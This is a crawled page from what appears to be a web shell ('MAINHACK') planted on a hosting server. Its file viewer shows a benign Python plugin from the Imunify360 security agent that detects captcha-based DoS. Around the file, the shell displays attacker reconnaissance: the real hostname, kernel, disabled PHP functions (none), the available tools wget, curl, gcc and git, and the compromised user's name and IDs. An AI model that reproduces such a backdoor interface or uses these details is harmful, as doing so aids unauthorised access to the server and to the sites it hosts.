[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: captcha_dos_detect.py
File is not writable. Editing disabled.
import ipaddress import logging import time from collections import defaultdict from typing import Union from humanize import naturaldelta from defence360agent.contracts import plugins from defence360agent.contracts.messages import MessageType from defence360agent.model.simplification import run_in_executor from im360.contracts.config import CaptchaDOS as Config from im360.model.firewall import IPList logger = logging.getLogger(__name__) class CaptchaDosDetect(plugins.MessageSink, plugins.MessageSource): def __init__(self): self._events = defaultdict(list) self._init_config() async def create_sink(self, loop): self._loop = loop async def create_source(self, loop, sink): self._loop = loop self._sink = sink def _init_config(self): self._enabled = Config.ENABLED self._time_frame = Config.TIME_FRAME self._timeout = Config.TIMEOUT self._max_count = Config.MAX_COUNT @plugins.expect(MessageType.ConfigUpdate) async def update_config(self, _): self._init_config() @plugins.expect( MessageType.CaptchaEvent, event=MessageType.CaptchaEvent.REQUESTED ) async def process_captcha_event(self, message): if message.get('is_ajax') or not self._enabled: return ip = message['attackers_ip'] ip_events = self._events[ip] ip_events.append(message['timestamp']) t0 = message['timestamp'] - self._time_frame timeframe_hits = [ts for ts in ip_events if t0 <= ts] retries = len(timeframe_hits) if retries > self._max_count: ttl = self._timeout expiration = \ await self.get_expiration(ip, ttl) captcha_dos_alert = MessageType.CaptchaDosAlert( attackers_ip=ip, expiration=expiration, ttl=ttl, retries=retries, timestamp=time.time(), message=( "Blacklisted for {} after {} captcha requests" ).format( naturaldelta(expiration - int(time.time())), retries ) ) await self._sink.process_message(captcha_dos_alert) del self._events[ip] else: # make sure to keep only interesting items self._events[ip] = timeframe_hits self._cleanup_expired(t0) def _cleanup_expired(self, ts): """ Remove IP addresses that have latest event older then ts """ expired_ips = [ip for ip, timestamps in self._events.items() if timestamps[-1] < ts] for ip in expired_ips: del self._events[ip] async def get_expiration( self, ip: Union[ipaddress.IPv4Network, ipaddress.IPv6Network], ttl: int): """ Generate new graylist expiration based on calculated dos expiration :param ip_network ip: :param int ttl: default time to block for :return: int expiration: new expiration for ip items in gray list """ dos_expiration = int(time.time()) + ttl subnet = await run_in_executor( self._loop, lambda: IPList.find_closest_ip_nets( ip, listname=[IPList.GRAY], limit=1) ) if not subnet: return dos_expiration else: return max(dos_expiration, subnet[0].expiration)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.19 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A